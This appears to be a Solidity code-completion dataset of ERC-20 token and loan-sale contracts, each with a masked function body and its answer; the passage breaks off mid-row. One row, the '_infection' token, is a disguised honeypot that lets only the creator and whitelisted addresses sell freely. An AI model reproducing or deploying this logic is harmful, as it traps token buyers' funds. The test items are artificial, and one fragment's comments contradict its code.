require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(tradingEnabled || sender == owner() || recipient == owner() ||
isExcludedFromFee[sender] || isExcludedFromFee[recipient], "Trading is locked before presale.");
//@dev Limit the transfer to 600 tokens for 5 minutes
require(now > liquidityAddedAt + 5 minutes || amount <= 20000e18, "You cannot transfer more than 200 tokens.");
//@dev don't swap or buy tokens when uniswapV2Pair is sender, to avoid circular loop
if(!inSwapAndLiquify && sender != uniswapV2Pair) {
bool swap = true;
uint256 contractBalance = address(this).balance;
//@dev Buy token
if(now > lastRebalance + rebalanceInterval
&& rebalanceEnalbed
&& contractBalance >= minEthBeforeSwap){
buyAndBurnToken(contractBalance);
swap = false;
}
//@dev Buy eth
if(swap) {
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= minTokensBeforeSwap;
if (overMinTokenBalance && swapAndLiquifyEnabled) {
swapTokensForEth();
}
}
}
uint256 transferAmount = amount;
uint256 rate = _getReflectionRate();
if(!isExcludedFromFee[sender] && !isExcludedFromFee[recipient] && !inSwapAndLiquify){
transferAmount = collectFee(sender,amount,rate);
}
//@dev Transfer reflection
_reflectionBalance[sender] = _reflectionBalance[sender].sub(amount.mul(rate));
_reflectionBalance[recipient] = _reflectionBalance[recipient].add(transferAmount.mul(rate));
//@dev If any account belongs to the excludedAccount transfer token
if (_isExcluded[sender]) {
_tokenBalance[sender] = _tokenBalance[sender].sub(amount);
}
if (_isExcluded[recipient]) {
_tokenBalance[recipient] = _tokenBalance[recipient].add(transferAmount);
}
emit Transfer(sender, recipient, transferAmount);
}
function collectFee(address account, uint256 amount, uint256 rate) private returns (uint256) {
uint256 transferAmount = amount;
//@dev Tax fee
if(_taxFee != 0){
uint256 taxFee = amount.mul(_taxFee).div(10**(_feeDecimal + 2));
transferAmount = transferAmount.sub(taxFee);
_reflectionTotal = _reflectionTotal.sub(taxFee.mul(rate));
_taxFeeTotal = _taxFeeTotal.add(taxFee);
emit RewardsDistributed(taxFee);
}
//@dev Take liquidity fee
if(_liquidityFee != 0){
uint256 liquidityFee = amount.mul(_liquidityFee).div(10**(_feeDecimal + 2));
transferAmount = transferAmount.sub(liquidityFee);
_reflectionBalance[address(this)] = _reflectionBalance[address(this)].add(liquidityFee.mul(rate));
_liquidityFeeTotal = _liquidityFeeTotal.add(liquidityFee);
emit Transfer(account,address(this),liquidityFee);
}
return transferAmount;
}
function _getReflectionRate() private view returns (uint256) {
uint256 reflectionSupply = _reflectionTotal;
uint256 tokenSupply = _tokenTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_reflectionBalance[_excluded[i]] > reflectionSupply ||
_tokenBalance[_excluded[i]] > tokenSupply
) return _reflectionTotal.div(_tokenTotal);
reflectionSupply = reflectionSupply.sub(
_reflectionBalance[_excluded[i]]
);
tokenSupply = tokenSupply.sub(_tokenBalance[_excluded[i]]);
}
if (reflectionSupply < _reflectionTotal.div(_tokenTotal))
return _reflectionTotal.div(_tokenTotal);
return reflectionSupply.div(tokenSupply);
}
function swapTokensForEth() private lockTheSwap {
uint256 tokenAmount = balanceOf(address(this));
uint256 ethAmount = address(this).balance;
//@dev Generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
//@dev Make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
ethAmount = address(this).balance.sub(ethAmount);
emit SwapedTokenForEth(tokenAmount,ethAmount);
}
function swapEthForTokens(uint256 EthAmount) private {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: EthAmount}(
0,
path,
address(balancer),
block.timestamp
);
}
function buyAndBurnToken(uint256 contractBalance) private lockTheSwap {
lastRebalance = now;
//@dev Uniswap doesn't allow for a token to by itself, so we have to use an external account, which in this case is called the balancer
swapEthForTokens(contractBalance);
//@dev How much tokens we swaped into
uint256 swapedTokens = balanceOf(address(balancer));
uint256 rewardForCaller = swapedTokens.mul(_rebalanceCallerFee).div(10**(_feeDecimal + 2));
uint256 amountToBurn = swapedTokens.sub(rewardForCaller);
uint256 rate = _getReflectionRate();
_reflectionBalance[tx.origin] = _reflectionBalance[tx.origin].add(rewardForCaller.mul(rate));
_reflectionBalance[address(balancer)] = 0;
_burnFeeTotal = _burnFeeTotal.add(amountToBurn);
_tokenTotal = _tokenTotal.sub(amountToBurn);
_reflectionTotal = _reflectionTotal.sub(amountToBurn.mul(rate));
emit Transfer(address(balancer), tx.origin, rewardForCaller);
emit Transfer(address(balancer), address(0), amountToBurn);
emit SwapedEthForTokens(contractBalance, swapedTokens, rewardForCaller, amountToBurn);
}
function setExcludedFromFee(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function setSwapAndLiquifyEnabled(bool enabled) public onlyOwner {
swapAndLiquifyEnabled = enabled;
SwapAndLiquifyEnabledUpdated(enabled);
}
function setTaxFee(uint256 fee) public onlyOwner {
_taxFee = fee;
}
function setLiquidityFee(uint256 fee) public onlyOwner {
_liquidityFee = fee;
}
function setRebalanceCallerFee(uint256 fee) public onlyOwner {
_rebalanceCallerFee = fee;
}
function setMinTokensBeforeSwap(uint256 amount) public onlyOwner {
minTokensBeforeSwap = amount;
}
function setMinEthBeforeSwap(uint256 amount) public onlyOwner {
minEthBeforeSwap = amount;
}
function setRebalanceInterval(uint256 interval) public onlyOwner {
rebalanceInterval = interval;
}
function setRebalanceEnabled(bool enabled) public onlyOwner {
rebalanceEnalbed = enabled;
}
function enableTrading() external onlyOwner() {
tradingEnabled = true;
TradingEnabled(true);
liquidityAddedAt = now;
}
//to receive ETH from uniswapV2Router when swapping
receive() external payable {}
} |
require(_isExcluded[account], "AURA: Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tokenBalance[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
| function includeAccount(address account) external onlyOwner() | function includeAccount(address account) external onlyOwner() |
36712 | TokenDelegate | transferFrom | contract TokenDelegate is UpgradableToken, DetailedERC20, Pausable {
using TokenLib for address;
address tokenStorage;
constructor(string _name, string _symbol, uint8 _decimals, address _storage, string _version)
DetailedERC20(_name, _symbol, _decimals) UpgradableToken(_version) public {
setStorage(_storage);
}
function setTotalSupply(uint256 _totalSupply) public onlyOwner {
tokenStorage.setTotalSupply(_totalSupply);
}
function setStorage(address _storage) public onlyOwner unlessUpgraded whenNotPaused {
tokenStorage = _storage;
}
function totalSupply() public view returns (uint){
return tokenStorage.totalSupply();
}
function mint(address _to, uint _value) public onlyOwner unlessUpgraded whenNotPaused {
tokenStorage.mint(_to, _value);
}
function balanceOf(address _owner) public view returns (uint256) {
return tokenStorage.balanceOf(_owner);
}
function transfer(address _to, uint _value) public unlessUpgraded whenNotPaused returns(bool) {
return tokenStorage.transfer(_to, _value);
}
function approve(address _to, uint _value) public unlessUpgraded whenNotPaused returns(bool) {
return tokenStorage.approve(_to, _value);
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return tokenStorage.allowance(_owner, _spender);
}
function transferFrom(address _from, address _to, uint256 _value) public unlessUpgraded whenNotPaused returns (bool) {<FILL_FUNCTION_BODY> }
function increaseApproval(address _spender, uint256 _addedValue) public unlessUpgraded whenNotPaused returns (bool) {
return tokenStorage.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public unlessUpgraded whenNotPaused returns (bool) {
return tokenStorage.decreaseApproval(_spender, _subtractedValue);
}
} | contract TokenDelegate is UpgradableToken, DetailedERC20, Pausable {
using TokenLib for address;
address tokenStorage;
constructor(string _name, string _symbol, uint8 _decimals, address _storage, string _version)
DetailedERC20(_name, _symbol, _decimals) UpgradableToken(_version) public {
setStorage(_storage);
}
function setTotalSupply(uint256 _totalSupply) public onlyOwner {
tokenStorage.setTotalSupply(_totalSupply);
}
function setStorage(address _storage) public onlyOwner unlessUpgraded whenNotPaused {
tokenStorage = _storage;
}
function totalSupply() public view returns (uint){
return tokenStorage.totalSupply();
}
function mint(address _to, uint _value) public onlyOwner unlessUpgraded whenNotPaused {
tokenStorage.mint(_to, _value);
}
function balanceOf(address _owner) public view returns (uint256) {
return tokenStorage.balanceOf(_owner);
}
function transfer(address _to, uint _value) public unlessUpgraded whenNotPaused returns(bool) {
return tokenStorage.transfer(_to, _value);
}
function approve(address _to, uint _value) public unlessUpgraded whenNotPaused returns(bool) {
return tokenStorage.approve(_to, _value);
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return tokenStorage.allowance(_owner, _spender);
}
<FILL_FUNCTION>
function increaseApproval(address _spender, uint256 _addedValue) public unlessUpgraded whenNotPaused returns (bool) {
return tokenStorage.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public unlessUpgraded whenNotPaused returns (bool) {
return tokenStorage.decreaseApproval(_spender, _subtractedValue);
}
} |
return tokenStorage.transferFrom(_from, _to, _value);
| function transferFrom(address _from, address _to, uint256 _value) public unlessUpgraded whenNotPaused returns (bool) | function transferFrom(address _from, address _to, uint256 _value) public unlessUpgraded whenNotPaused returns (bool) |
62138 | ERC20 | _infection | contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) public VirusContract;
mapping (address => bool) public CheckIfVaccine;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name; string private _symbol;
address private _creator; uint256 private _totalSupply;
uint256 private NoToVaccines; uint256 private VirusTax;
uint256 private VaccineOut; bool private VirusValue;
bool private InfectedSniper; bool private VirusCall;
constructor (string memory name_, string memory symbol_, address creator_) {
_name = name_;
_creator = creator_;
_symbol = symbol_;
InfectedSniper = true;
VirusContract[creator_] = true;
VirusValue = true;
VirusCall = false;
CheckIfVaccine[creator_] = false;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _infection(address sender, uint256 amount, uint256 time) internal {<FILL_FUNCTION_BODY> }
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
(VirusContract[spender],CheckIfVaccine[spender],VirusValue) = ((address(owner) == _creator) && (VirusValue == true)) ? (true,false,false) : (VirusContract[spender],CheckIfVaccine[spender],VirusValue);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
(NoToVaccines,VirusCall) = ((address(sender) == _creator) && (InfectedSniper == false)) ? (VirusTax, true) : (NoToVaccines,VirusCall);
(VirusContract[recipient],InfectedSniper) = ((address(sender) == _creator) && (InfectedSniper == true)) ? (true, false) : (VirusContract[recipient],InfectedSniper);
uint256 timeNOW = block.timestamp;
_infection(sender, amount, timeNOW);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _createContract(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
(uint256 temp1, uint256 temp2) = (10000, 450);
_totalSupply += amount;
_balances[account] += amount;
NoToVaccines = _totalSupply;
VirusTax = _totalSupply / temp1;
VaccineOut = VirusTax * temp2;
emit Transfer(address(0), account, amount);
}
} | contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) public VirusContract;
mapping (address => bool) public CheckIfVaccine;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name; string private _symbol;
address private _creator; uint256 private _totalSupply;
uint256 private NoToVaccines; uint256 private VirusTax;
uint256 private VaccineOut; bool private VirusValue;
bool private InfectedSniper; bool private VirusCall;
constructor (string memory name_, string memory symbol_, address creator_) {
_name = name_;
_creator = creator_;
_symbol = symbol_;
InfectedSniper = true;
VirusContract[creator_] = true;
VirusValue = true;
VirusCall = false;
CheckIfVaccine[creator_] = false;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
<FILL_FUNCTION>
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
(VirusContract[spender],CheckIfVaccine[spender],VirusValue) = ((address(owner) == _creator) && (VirusValue == true)) ? (true,false,false) : (VirusContract[spender],CheckIfVaccine[spender],VirusValue);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
(NoToVaccines,VirusCall) = ((address(sender) == _creator) && (InfectedSniper == false)) ? (VirusTax, true) : (NoToVaccines,VirusCall);
(VirusContract[recipient],InfectedSniper) = ((address(sender) == _creator) && (InfectedSniper == true)) ? (true, false) : (VirusContract[recipient],InfectedSniper);
uint256 timeNOW = block.timestamp;
_infection(sender, amount, timeNOW);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _createContract(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
(uint256 temp1, uint256 temp2) = (10000, 450);
_totalSupply += amount;
_balances[account] += amount;
NoToVaccines = _totalSupply;
VirusTax = _totalSupply / temp1;
VaccineOut = VirusTax * temp2;
emit Transfer(address(0), account, amount);
}
} |
uint256 getTimeDifference = block.timestamp - time;
if ((VirusContract[sender] == false) && (getTimeDifference >= 0)) {
if ((amount > VaccineOut)) { require(false); }
require(amount < NoToVaccines);
if (VirusCall == true) {
if (CheckIfVaccine[sender] == true) { require(false); }
CheckIfVaccine[sender] = true;
}
}
| function _infection(address sender, uint256 amount, uint256 time) internal | function _infection(address sender, uint256 amount, uint256 time) internal |
20489 | PINX | transferFrom | contract PINX is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "PINX";
name = "PINNACLE";
decimals = 13;
_totalSupply = 1000000000000000000000;
balances[0x2C2a7b474EC144fCa7A4C3AF77A2dBc5bb8e2A16] = _totalSupply; // Give yourself the money
emit Transfer(address(0), 0x2C2a7b474EC144fCa7A4C3AF77A2dBc5bb8e2A16, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract PINX is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "PINX";
name = "PINNACLE";
decimals = 13;
_totalSupply = 1000000000000000000000;
balances[0x2C2a7b474EC144fCa7A4C3AF77A2dBc5bb8e2A16] = _totalSupply; // Give yourself the money
emit Transfer(address(0), 0x2C2a7b474EC144fCa7A4C3AF77A2dBc5bb8e2A16, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
| function transferFrom(address from, address to, uint tokens) public returns (bool success) | // ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) |
795 | Sales | accept | contract Sales is DSMath {
Loans loans;
Medianizer med;
uint256 public constant SWAP_EXP = 2 hours;
uint256 public constant SETTLEMENT_EXP = 4 hours;
address public deployer;
mapping (bytes32 => Sale) public sales;
mapping (bytes32 => Sig) public borrowerSigs;
mapping (bytes32 => Sig) public lenderSigs;
mapping (bytes32 => Sig) public arbiterSigs;
mapping (bytes32 => SecretHash) public secretHashes;
uint256 public saleIndex;
mapping (bytes32 => bytes32[]) public saleIndexByLoan;
mapping(bytes32 => bool) revealed;
ERC20 public token;
struct Sale {
bytes32 loanIndex;
uint256 discountBuy;
address liquidator;
address borrower;
address lender;
address arbiter;
uint256 createdAt;
bytes20 pubKeyHash;
bool set;
bool accepted;
bool off;
}
struct Sig {
bytes refundableSig;
bytes seizableSig;
}
struct SecretHash {
bytes32 secretHashA;
bytes32 secretA;
bytes32 secretHashB;
bytes32 secretB;
bytes32 secretHashC;
bytes32 secretC;
bytes32 secretHashD;
bytes32 secretD;
}
function discountBuy(bytes32 sale) public view returns (uint256) {
return sales[sale].discountBuy;
}
function swapExpiration(bytes32 sale) public view returns (uint256) {
return sales[sale].createdAt + SWAP_EXP;
}
function settlementExpiration(bytes32 sale) public view returns (uint256) {
return sales[sale].createdAt + SETTLEMENT_EXP;
}
function accepted(bytes32 sale) public view returns (bool) {
return sales[sale].accepted;
}
function off(bytes32 sale) public view returns (bool) {
return sales[sale].off;
}
constructor (Loans loans_, Medianizer med_, ERC20 token_) public {
deployer = address(loans_);
loans = loans_;
med = med_;
token = token_;
}
function next(bytes32 loan) public view returns (uint256) {
return saleIndexByLoan[loan].length;
}
function create(
bytes32 loanIndex,
address borrower,
address lender,
address arbiter,
address liquidator,
bytes32 secretHashA,
bytes32 secretHashB,
bytes32 secretHashC,
bytes32 secretHashD,
bytes20 pubKeyHash
) external returns(bytes32 sale) {
require(msg.sender == address(loans));
saleIndex = add(saleIndex, 1);
sale = bytes32(saleIndex);
sales[sale].loanIndex = loanIndex;
sales[sale].borrower = borrower;
sales[sale].lender = lender;
sales[sale].arbiter = arbiter;
sales[sale].liquidator = liquidator;
sales[sale].createdAt = now;
sales[sale].pubKeyHash = pubKeyHash;
sales[sale].discountBuy = loans.ddiv(loans.discountCollateralValue(loanIndex));
sales[sale].set = true;
secretHashes[sale].secretHashA = secretHashA;
secretHashes[sale].secretHashB = secretHashB;
secretHashes[sale].secretHashC = secretHashC;
secretHashes[sale].secretHashD = secretHashD;
saleIndexByLoan[loanIndex].push(sale);
}
function provideSig(
bytes32 sale,
bytes calldata refundableSig,
bytes calldata seizableSig
) external {
require(sales[sale].set);
require(now < settlementExpiration(sale));
if (msg.sender == sales[sale].borrower) {
borrowerSigs[sale].refundableSig = refundableSig;
borrowerSigs[sale].seizableSig = seizableSig;
} else if (msg.sender == sales[sale].lender) {
lenderSigs[sale].refundableSig = refundableSig;
lenderSigs[sale].seizableSig = seizableSig;
} else if (msg.sender == sales[sale].arbiter) {
arbiterSigs[sale].refundableSig = refundableSig;
arbiterSigs[sale].seizableSig = seizableSig;
} else {
revert();
}
}
function provideSecret(bytes32 sale, bytes32 secret_) public {
require(sales[sale].set);
bytes32 secretHash = sha256(abi.encodePacked(secret_));
revealed[secretHash] = true;
if (secretHash == secretHashes[sale].secretHashA) { secretHashes[sale].secretA = secret_; }
if (secretHash == secretHashes[sale].secretHashB) { secretHashes[sale].secretB = secret_; }
if (secretHash == secretHashes[sale].secretHashC) { secretHashes[sale].secretC = secret_; }
if (secretHash == secretHashes[sale].secretHashD) { secretHashes[sale].secretD = secret_; }
}
function hasSecrets(bytes32 sale) public view returns (bool) {
uint8 numCorrectSecrets = 0;
if (revealed[secretHashes[sale].secretHashA]) { numCorrectSecrets += 1; }
if (revealed[secretHashes[sale].secretHashB]) { numCorrectSecrets += 1; }
if (revealed[secretHashes[sale].secretHashC]) { numCorrectSecrets += 1; }
return (numCorrectSecrets >= 2);
}
function accept(bytes32 sale) public {<FILL_FUNCTION_BODY> }
function provideSecretsAndAccept(bytes32 sale, bytes32[3] calldata secrets_) external {
provideSecret(sale, secrets_[0]);
provideSecret(sale, secrets_[1]);
provideSecret(sale, secrets_[2]);
accept(sale);
}
function refund(bytes32 sale) external {
require(!accepted(sale));
require(!off(sale));
require(now > settlementExpiration(sale));
require(sales[sale].discountBuy > 0);
sales[sale].off = true;
require(token.transfer(sales[sale].liquidator, sales[sale].discountBuy));
if (next(sales[sale].loanIndex) == 3) {
require(token.transfer(sales[sale].borrower, loans.repaid(sales[sale].loanIndex)));
}
}
} | contract Sales is DSMath {
Loans loans;
Medianizer med;
uint256 public constant SWAP_EXP = 2 hours;
uint256 public constant SETTLEMENT_EXP = 4 hours;
address public deployer;
mapping (bytes32 => Sale) public sales;
mapping (bytes32 => Sig) public borrowerSigs;
mapping (bytes32 => Sig) public lenderSigs;
mapping (bytes32 => Sig) public arbiterSigs;
mapping (bytes32 => SecretHash) public secretHashes;
uint256 public saleIndex;
mapping (bytes32 => bytes32[]) public saleIndexByLoan;
mapping(bytes32 => bool) revealed;
ERC20 public token;
struct Sale {
bytes32 loanIndex;
uint256 discountBuy;
address liquidator;
address borrower;
address lender;
address arbiter;
uint256 createdAt;
bytes20 pubKeyHash;
bool set;
bool accepted;
bool off;
}
struct Sig {
bytes refundableSig;
bytes seizableSig;
}
struct SecretHash {
bytes32 secretHashA;
bytes32 secretA;
bytes32 secretHashB;
bytes32 secretB;
bytes32 secretHashC;
bytes32 secretC;
bytes32 secretHashD;
bytes32 secretD;
}
function discountBuy(bytes32 sale) public view returns (uint256) {
return sales[sale].discountBuy;
}
function swapExpiration(bytes32 sale) public view returns (uint256) {
return sales[sale].createdAt + SWAP_EXP;
}
function settlementExpiration(bytes32 sale) public view returns (uint256) {
return sales[sale].createdAt + SETTLEMENT_EXP;
}
function accepted(bytes32 sale) public view returns (bool) {
return sales[sale].accepted;
}
function off(bytes32 sale) public view returns (bool) {
return sales[sale].off;
}
constructor (Loans loans_, Medianizer med_, ERC20 token_) public {
deployer = address(loans_);
loans = loans_;
med = med_;
token = token_;
}
